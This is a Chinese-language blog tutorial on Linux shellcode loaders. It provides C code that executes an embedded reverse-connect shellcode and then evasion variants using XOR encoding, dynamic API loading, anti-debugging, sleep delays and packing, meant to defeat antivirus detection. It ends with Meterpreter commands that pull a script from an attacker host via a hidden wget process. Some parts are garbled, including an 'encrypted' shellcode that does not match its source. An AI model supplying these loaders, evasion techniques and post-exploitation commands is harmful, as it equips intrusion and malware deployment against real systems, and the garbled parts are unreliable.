Linux Shellcode实战:反向连接、持久化、免杀技术详解(MSF,Cobalt Strike)- 从原理到C加载器实现

  1. loader
  2. 免杀
    1. 异或
  3. 命令
    1. wget

loader

提供一个最简单的运行提供的shellcode (Bash格式) 的方法,使用C语言编写加载器 (loader)。

C语言加载器 (loader.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    // shellcode (从你的Bash脚本中提取)
    unsigned char shellcode[] =
        "\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
        "\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
        "\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
        "\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
        "\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
        "\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
        "\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
        "\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
        "\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
        "\\x78\\xed\\xff\\xe6";

    // 1. 分配内存 (可读、可写、可执行)
    void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    // 2. 将shellcode复制到分配的内存中
    memcpy(mem, shellcode, sizeof(shellcode));

    // 3. (可选) 再次将内存设置为只读和可执行 (更安全)
    if (mprotect(mem, sizeof(shellcode), PROT_READ | PROT_EXEC) == -1) {
       perror("mprotect");
       exit(1);
    }
    // 4. 执行shellcode
    printf("Running shellcode...\\n");
    ((void(*)())mem)();

    return 0;
}

编译和运行步骤

  1. 保存代码: 将上述C代码保存为一个文件,例如loader.c

  2. 编译:

    • Linux:

      gcc loader.c -o loader -z execstack
      
      gcc -O0 -o loader loader.c -z execstack
      
      • z execstack: 允许栈上的代码执行(为了测试方便,生产环境中通常不建议这样做)。
    • macOS: (可能需要先安装 Xcode Command Line Tools)
      macOS上通常不需要 z execstack,但是可能需要增加栈大小。

        gcc loader.c -o loader -Wl,-z,stack-size=0x100000
      
  3. 运行:

    ./loader
    

代码解释

  • unsigned char shellcode[] = ...;****:
    • 将shellcode(从Bash脚本的export buf=后面提取)直接复制到C语言的字符数组中。
    • 使用 unsigned char 来确保每个字节都被正确表示。
  • mmap(...)****:
    • mmap是一个系统调用,用于分配一块内存。
    • PROT_READ | PROT_WRITE | PROT_EXEC: 指定内存的权限为可读、可写、可执行。
    • MAP_PRIVATE | MAP_ANONYMOUS: 创建私有的、匿名的内存映射。
  • memcpy(mem, shellcode, sizeof(shellcode));****:
    • shellcode数组的内容复制到mmap分配的内存区域mem中。
  • mprotect(mem, sizeof(shellcode), PROT_READ | PROT_EXEC)
    • 这一步是可选的, 但推荐. 将内存权限修改为只读和可执行。
  • ((void(*)())mem)();****:
    • 这是最关键的一步。它将mem指针(指向shellcode的起始地址)强制转换为一个函数指针,然后调用这个函数。
    • void(*)(): 表示一个无参数、无返回值的函数指针。

重要提示

  • Shellcode的正确性: 这个加载器只是提供了一种运行shellcode的方法。如果shellcode本身有问题(例如,IP地址错误、系统调用号不匹配等),它仍然无法正常工作。在运行之前,请务必使用之前介绍的Python脚本或反汇编方法验证shellcode的正确性。
  • 修改 IP: 这个shellcode 最可能的问题仍然是IP地址。需要根据之前的反汇编和Python脚本的输出,修改 C 代码中 shellcode 数组里对应的4个字节。
  • 安全性: z execstack选项会降低系统的安全性。在测试完成后,应该移除这个选项,并使用更安全的方法来加载和执行shellcode(例如,利用漏洞或使用ROP技术)。
  • 监听器: 运行前,确保你在攻击机上已经使用 nc -lvnp 12788 (或者你设置的其他端口) 启动了监听器.
  • 环境: 确保在一个安全、隔离的测试环境中运行这些代码。

这个C语言加载器提供了一种非常简单直接的方式来运行shellcode。但请记住,shellcode的正确性仍然是关键。

免杀

对加载器(Loader)代码进行免杀处理,使其能够绕过杀毒软件和安全机制的检测,是一个复杂且不断演进的领域。以下是一些业内常用的免杀技术,以及如何将它们应用到你提供的C语言加载器代码中:

免杀技术概述

免杀的目标是让恶意代码(在这里是shellcode加载器)看起来不像恶意代码。这通常通过以下几种方式实现:

  1. 代码混淆 (Obfuscation):
    • 目的: 使代码难以阅读和理解,增加逆向工程的难度。
    • 方法:
      • 修改变量名、函数名。
      • 插入无用的代码(垃圾代码)。
      • 打乱代码顺序。
      • 字符串加密/编码。
  2. 静态特征规避:
    • 目的: 避免使用已知的恶意代码特征(例如,特定的API调用序列、字符串、shellcode特征码等)。
    • 方法:
      • API调用混淆:
        • 动态加载API函数(GetProcAddressLoadLibrary,Linux上的dlsymdlopen)。
        • 使用不常用的API函数。
        • 间接调用API函数(通过函数指针)。
      • 字符串加密/编码:
        • 将字符串(例如shellcode、API函数名、IP地址、端口号等)进行加密或编码,在运行时解密/解码。
      • Shellcode加密/编码:
        • 使用异或 XOR, RC4 等加密算法加密。
      • 代码自修改 (Self-Modifying Code):
        • 在运行时修改自身的代码,以改变其静态特征。
  3. 动态行为规避:
    • 目的: 避免在运行时表现出恶意行为的特征。
    • 方法:
      • 反调试 (Anti-Debugging):
        • 检测调试器的存在,如果存在则退出或执行不同的代码。
      • 反沙箱 (Anti-Sandboxing):
        • 检测沙箱环境,如果存在则退出或执行不同的代码。
      • 延时执行 (Sleep):
        • 在执行关键操作之前,先休眠一段时间,以绕过一些基于时间的安全检测。
      • 用户交互:
        • 在执行恶意操作之前,等待用户输入或进行某些操作。
  4. 白名单绕过:
    • 目的: 利用系统已有的、可信任的程序或组件来执行恶意代码。
    • 方法:
      • DLL注入 (Windows): 将恶意DLL注入到可信任的进程中。
      • 代码注入: 将 shellcode 注入到可信进程。

将免杀技术应用到你的加载器代码

以下是一些将免杀技术应用到你的C语言加载器代码中的示例:

1. 字符串加密/编码(异或 XOR)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// 异或解密函数
void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key;
    }
}

int main() {
    // 加密的shellcode (这里只是一个示例,你需要用你的shellcode)
    unsigned char encrypted_shellcode[] =
        "\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
        "\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
        "\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
        "\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
        "\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
        "\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
        "\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
        "\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
        "\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
        "\\x78\\xed\\xff\\xe6";

    // 加密密钥 (需要与加密shellcode时使用的密钥相同)
    unsigned char key = 0x42;

    // 解密shellcode
    xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);

    // ... (后面的代码与之前相同,分配内存、复制shellcode、执行) ...
    void *mem = mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));

    if (mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
        perror("mprotect");
        exit(1);
    }

    printf("Running shellcode...\\n");
    ((void(*)())mem)();

    return 0;
}

2. API调用混淆(动态加载)

#define _GNU_SOURCE // 为了使用 dlsym
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dlfcn.h> // 动态链接库

// 函数指针类型定义
typedef void* (*mmap_func_t)(void *, size_t, int, int, int, off_t);
typedef int (*memcpy_func_t)(void *, const void *, size_t);
typedef int (*mprotect_func_t)(void *, size_t, int);

int main() {
  // 加密的shellcode和密钥
   unsigned char encrypted_shellcode[] = "...."; //你的加密后的 shellcode
   unsigned char key = 0x42;

    // 使用dlsym动态获取函数地址
    void *handle = dlopen("libc.so.6", RTLD_LAZY); // 打开libc库
    if (!handle) {
        fprintf(stderr, "dlopen error: %s\\n", dlerror());
        return 1;
    }

     // 获取函数地址
    mmap_func_t my_mmap = (mmap_func_t)dlsym(handle, "mmap");
    memcpy_func_t my_memcpy = (memcpy_func_t)dlsym(handle, "memcpy");
    mprotect_func_t my_mprotect = (mprotect_func_t)dlsym(handle, "mprotect");

    if (!my_mmap || !my_memcpy || !my_mprotect) {
        fprintf(stderr, "dlsym error: %s\\n", dlerror());
        dlclose(handle);
        return 1;
    }
    //解密
     xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);

    // 使用获取到的函数指针来执行操作
    void *mem = my_mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    my_memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));

    if (my_mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
        perror("mprotect");
        exit(1);
    }
   // 关闭句柄
   dlclose(handle);

    printf("Running shellcode...\\n");
    ((void(*)())mem)();

    return 0;
}

3. 反调试(简单示例)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h> // ptrace

// ... (其他代码) ...

int is_debugged() {
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
        return 1; // 被调试
    }
    return 0; // 未被调试
}

int main() {
    // ... (shellcode, 加密等) ...

    if (is_debugged()) {
        printf("Debugger detected! Exiting...\\n");
        return 1;
    }

    // ... (分配内存, 执行shellcode) ...
}

4. 延时执行

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // sleep

// ... (其他代码) ...

int main() {
    // ... (shellcode, 加密等) ...

    printf("Sleeping for 30 seconds...\\n");
    sleep(30); // 休眠30秒

    // ... (分配内存, 执行shellcode) ...
}

5. 加壳 (UPX, 自定义壳)

  • 可以使用 UPX 加壳工具尝试对编译后的 loader 进行加壳。
  • 或者自己编写简单的壳代码 (难度较高)。

编译

  • 编译时, 如果使用了 dlfcn.h (动态加载), 需要链接 dl 库:

     gcc loader.c -o loader -z execstack -ldl
    

综合示例(结合多种技术)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/ptrace.h>

// 函数指针类型定义
typedef void* (*mmap_func_t)(void *, size_t, int, int, int, off_t);
typedef int (*memcpy_func_t)(void *, const void *, size_t);
typedef int (*mprotect_func_t)(void *, size_t, int);

// 异或解密函数
void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key;
    }
}

// 简单的反调试
int is_debugged() {
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
        return 1; // 被调试
    }
    return 0; // 未被调试
}

int main() {

    // 1. 反调试
    if (is_debugged()) {
        printf("Debugger detected! Exiting...\\n");
        return 1;
    }
   // 2. 延时执行
   printf("Sleeping for a while...\\n");
   sleep(10);
    // 加密的shellcode (这里只是一个示例,你需要用你的shellcode)
    unsigned char encrypted_shellcode[] =
        "\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
        "\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
        "\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
        "\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
        "\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
        "\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
        "\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
        "\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
        "\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
        "\\x78\\xed\\xff\\xe6";

    // 加密密钥 (需要与加密shellcode时使用的密钥相同)
    unsigned char key = 0x42;

    // 3. 解密shellcode
    xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);

    // 4. 动态加载API
    void *handle = dlopen("libc.so.6", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "dlopen error: %s\\n", dlerror());
        return 1;
    }
    mmap_func_t my_mmap = (mmap_func_t)dlsym(handle, "mmap");
    memcpy_func_t my_memcpy = (memcpy_func_t)dlsym(handle, "memcpy");
    mprotect_func_t my_mprotect = (mprotect_func_t)dlsym(handle, "mprotect");

    if (!my_mmap || !my_memcpy || !my_mprotect) {
        fprintf(stderr, "dlsym error: %s\\n", dlerror());
        dlclose(handle);
        return 1;
    }

    // 5. 使用动态加载的API执行shellcode
    void *mem = my_mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        exit(1); // 考虑更隐蔽的错误处理
    }

    my_memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));

    if (my_mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
        perror("mprotect");
        exit(1); // 考虑更隐蔽的错误处理
    }

     dlclose(handle);

    printf("Running shellcode...\\n");
    ((void(*)())mem)();

    return 0;
}

重要提示:

  • 加密Shellcode: 在使用上述代码之前,你需要先对你的shellcode进行加密(例如,使用异或 XOR 加密)。
  • 密钥管理: 加密密钥(key)需要与解密时使用的密钥相同。在实际应用中,密钥管理是一个重要的问题。
  • 错误处理: 在实际应用中,你应该更谨慎地处理错误,避免直接退出或打印错误信息,以免暴露你的意图。
  • 更高级的技术: 这只是免杀的冰山一角。更高级的技术包括:
    • 多态变形 (Polymorphism): 每次生成shellcode时都改变其代码结构,但保持功能不变。
    • 变形引擎 (Metamorphism): 比多态变形更复杂,可以改变shellcode的指令、寄存器使用、代码顺序等。
    • 自定义加密/编码: 使用更复杂的加密算法或编码方式。
    • 沙箱逃逸 (Sandbox Evasion): 专门针对沙箱环境的逃逸技术。
  • 免杀效果是相对的: 没有绝对的免杀,只有相对的。杀毒软件和安全机制也在不断更新,免杀技术需要不断地进行改进和调整。
  • 不要低估手动修改的重要性: 即使使用了各种免杀技术,手动修改代码(例如,调整函数调用顺序、修改字符串、插入垃圾代码等)仍然是提高免杀效果的重要手段。

异或

异或加密/解密原理

异或(XOR)运算是一种位运算,具有以下特性:

  • 相同为0,不同为1:
    • 0 XOR 0 = 0
    • 0 XOR 1 = 1
    • 1 XOR 0 = 1
    • 1 XOR 1 = 0
  • 自反性: A XOR B XOR B = A (一个数与另一个数异或两次,结果等于原来的数)。

异或加密/解密过程

  1. 加密:

    • 将明文(原始数据)的每个字节与密钥(一个字节)进行异或运算,得到密文。

      明文:  10110101
      密钥:  01010101
      ----------------
      密文:  11100000
      
  2. 解密:

    • 将密文的每个字节与相同的密钥进行异或运算,得到原始的明文。

      密文:  11100000
      密钥:  01010101
      ----------------
      明文:  10110101
      

将异或加密/解密应用到Shellcode

  1. 加密Shellcode(在你的攻击机上):

    • 编写一个简单的Python脚本(或其他语言)来对shellcode进行异或加密:
        shellcode = (
            b"\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
            b"\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
            b"\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
            b"\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
            b"\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
            b"\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
            b"\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
            b"\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
            b"\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
            b"\\x78\\xed\\xff\\xe6"
        )
    
        key = 0x42  # 你选择的密钥 (可以是任意一个字节值,例如0x42, 0xAB等)
    
        encrypted_shellcode = bytearray()
        for byte in shellcode:
            encrypted_shellcode.append(byte ^ key)
    
        # 打印加密后的shellcode (用于复制到C代码中)
        print("unsigned char encrypted_shellcode[] = ")
        print('"' + ''.join('\\\\x{:02x}'.format(x) for x in encrypted_shellcode) + '";')
    
    • 选择一个密钥(例如0x42)。
    • 对shellcode的每个字节与密钥进行异或运算。
    • 将加密后的shellcode输出为C语言数组的形式。
  2. 在C加载器中解密Shellcode:

    • 将加密后的shellcode复制到C加载器代码中。

    • 在分配内存和执行shellcode之前,添加一段代码来对shellcode进行异或解密(使用相同的密钥)。

      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/mman.h>
      #include <unistd.h>
      
      // 异或解密函数
      void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) {
          for (size_t i = 0; i < data_len; i++) {
              data[i] ^= key;
          }
      }
      
      int main() {
          // 加密的shellcode (来自Python脚本的输出)
           unsigned char encrypted_shellcode[] =
              "\\x73\\xbf\\x28\\x4b\\x1a\\xd5\\xf4\\x52\\x0a\\xc5\\x94\\x0f\\x73\\x8b"
              "\\x28\\x60\\x03\\x18\\x28\\x45\\x18\\x4d\\x47\\xc7\\x82\\x3a\\x13"
              "\\x28\\x48\\x0b\\x1a\\x28\\x6b\\x1a\\x40\\x1c\\x4d\\x47\\xc7\\x82\\x3a\\x79"
              "\\x0a\\xd5\\x0a\\xf5\\x6a\\x13\\x0a\\xc5\\xa4\\x28\\x52\\x18\\x68"
              "\\x68\\x18\\x03\\x1a\\x4d\\x47\\xc7\\xc5\\x3b\\xcd\\xb6\\x5a\\x32"
              "\\x55\\x28\\x61\\x1a\\x42\\x1a\\x47\\x0a\\xc5\\xa5\\x0a\\x1b\\x1d"
              "\\xb4\\x4d\\x47\\xc7\\xc5\\x35\\x85\\x28\\x43\\x1d\\x4d\\x47\\xc7\\x82"
              "\\x3a\\xa1\\xb9\\xa4";
      
          // 密钥
          unsigned char key = 0x42;
      
          // 解密shellcode
          xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);
      
          // ... (分配内存、复制shellcode、执行) ...
          void *mem = mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
          if (mem == MAP_FAILED) {
              perror("mmap");
              exit(1);
          }
      
          memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));
      
          if (mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
             perror("mprotect");
             exit(1);
          }
          printf("Running shellcode...\\n");
          ((void(*)())mem)();
      
          return 0;
      }
      
      

例子:! + !!! +++

这是一种自定义的编码方式,而不是标准的异或加密。

  • ! 可能表示某种操作(例如,取反、加1、减1等)。
  • + 可能表示另一种操作(例如,位移、加法、异或等)。
  • 重复的符号可能表示操作的强度或重复次数。

要解密这种自定义的编码,需要:

  1. 确定编码规则: 弄清楚每个符号(!+)代表什么操作,以及重复符号的含义。
  2. 编写解码函数: 根据编码规则,编写一个C函数来对shellcode进行解码。
  3. 替换异或解密: 将C加载器代码中的异或解密函数替换为你编写的解码函数。

总结

  • 异或加密是一种简单有效的shellcode加密方法。
  • 加密和解密使用相同的密钥。
  • 在C加载器中,需要在分配内存和执行shellcode之前对shellcode进行解密。
  • 对于自定义的编码方式,需要先确定编码规则,然后编写相应的解码函数。

命令

在Meterpreter会话中,ls命令可以正常执行,而systemctl status ssh命令却报错[-] Unknown command: systemctl,这是因为它们的工作方式不同:

1. ls (Meterpreter内置命令)

  • Meterpreter实现: ls是Meterpreter内置的命令。当你输入ls时,Meterpreter会话会直接解析这个命令,并使用它自己实现的机制来列出目标系统上的文件和目录。
  • 不依赖目标系统命令: Meterpreter的ls命令依赖于目标系统上是否安装了ls命令(虽然大多数Linux系统都有)。Meterpreter通过与目标系统上的Meterpreter payload进行交互,直接获取文件系统信息。

2. systemctl (目标系统命令)

  • 外部命令: systemctl是一个外部命令,它是systemd系统和服务管理器的命令行工具。要运行systemctl,需要在目标系统上执行它。
  • Meterpreter的**execute**命令: Meterpreter提供了一个execute命令,用于在目标系统上执行外部命令。
    • 但是,systemctl 通常需要 root 权限, 而你的 meterpreter 会话不一定有 root 权限。
    • 有些Linux系统,/sbin (通常包含 systemctl) 可能不在普通用户的 PATH 环境变量里, 所以即使用 execute 也可能找不到命令。

如何在Meterpreter中运行**systemctl**(或其他外部命令)

  1. 使用**execute**命令:

    meterpreter > execute -f /usr/bin/systemctl -a "status ssh"
    

如果提示权限不足,尝试提权。

*   `-f`: 指定要执行的命令的完整路径(例如,`/usr/bin/systemctl`,你可以使用`which systemctl`来查找`systemctl`的路径)。
*   `-a`: 指定要传递给命令的参数(例如,`"status ssh"`)。
  1. 使用 shell 命令:

    meterpreter > shell
    
    • 这会在目标系统上打开一个交互式的shell。
    • 然后你可以在这个shell中直接运行systemctl status ssh(或其他任何命令)。
    • 退出shell:输入exit
    • 如果提示权限不足,还是需要提权。
  2. 尝试提权(如果需要):

    • 如果systemctl命令需要root权限,而你的Meterpreter会话没有root权限,你需要尝试提权。
    • Meterpreter提供了一些提权模块(例如exploit/multi/local/sudo等)。
    • 你可以使用getuid命令查看当前用户的UID,如果不是0(root),则需要提权。

总结

  • ls是Meterpreter的内置命令,由Meterpreter自身实现。
  • systemctl是目标系统上的外部命令,需要在目标系统上执行(通常使用executeshell命令),并且可能需要root权限。

Meterpreter的设计理念是提供一套与目标操作系统无关的命令集(lspwdcd等),方便渗透测试人员在不同类型的目标系统上进行操作。但是,如果你需要执行目标系统特有的命令(如systemctl),就需要使用executeshell命令。

wget

在Meterpreter会话中执行 wget "192.168.237.1:8000/service_installer.sh" 命令,以下是几种方法:

方法一:使用 execute 命令 (推荐,如果 wget 存在)

meterpreter > execute -f wget -a "192.168.237.1:8000/service_installer.sh" -H
  • f wget: 指定要执行的命令是 wget。Meterpreter 会尝试在目标系统的 PATH 环境变量中的目录里寻找 wget
  • a "192.168.237.1:8000/service_installer.sh": 指定 wget 的参数,即要下载的文件的URL。
  • H: (可选)创建一个隐藏的进程。这有助于避免在目标系统的进程列表中直接显示wget进程。

如果目标系统上 wget 不在默认的搜索路径中,你可以提供 wget 的完整路径:

meterpreter > execute -f /usr/bin/wget -a "192.168.237.1:8000/service_installer.sh" -H

方法二:使用 shell 命令

  1. 进入 shell:

    meterpreter > shell
    
  2. 在 shell 中执行命令:

    wget "192.168.237.1:8000/service_installer.sh"
    
  3. 退出 shell:

    exit
    

方法三:使用Meterpreter的**downloadexecute命令 (如果wget**不存在)

如果目标系统上没有wget命令,你可以先使用Meterpreter的download命令将wget可执行文件上传到目标系统,然后使用execute命令执行它:

  1. 在你的攻击机上准备好**wget**可执行文件。 (你可以从一个Linux系统中复制wget,通常位于/usr/bin/wget,确保与目标系统架构相同,例如都是x64)。

  2. 上传**wget**

    meterpreter > upload /path/to/your/wget /tmp/wget
    
    • /path/to/your/wget: 你本地 wget 可执行文件的路径。
    • /tmp/wget: 将 wget 上传到目标系统的 /tmp 目录(或其他可写目录)。
  3. 赋予**wget**执行权限:

    meterpreter > execute -f chmod -a "+x /tmp/wget"
    
  4. 执行**wget**下载:

    meterpreter > execute -f /tmp/wget -a "192.168.237.1:8000/service_installer.sh" -H
    

方法四:使用其他工具(如果目标系统上有)

如果目标系统上没有wget,但有其他类似的工具,例如curlftppowershell (在Windows上)等,你可以使用这些工具来下载文件。

  • curl (如果存在):

    meterpreter > execute -f curl -a "-O 192.168.237.1:8000/service_installer.sh"
    

注意事项

  • 权限: 确保你的Meterpreter会话具有足够的权限来执行wget命令(或上传文件并执行)。
  • 防火墙: 目标系统上的防火墙可能会阻止wget下载文件。
  • 网络连接: 确保目标系统可以访问你的攻击机(192.168.237.1)。
  • 隐蔽性: 如果你希望操作更隐蔽,可以使用H选项(execute命令),或者将文件下载到不显眼的目录中。

通常情况下,使用execute -f wget ...是最简单直接的方法。如果wget不存在,再考虑其他方法。


欢迎指出任何有错误或不够清晰的表达,可以在下面评论区评论。

×

喜欢就点赞,疼爱就打赏

//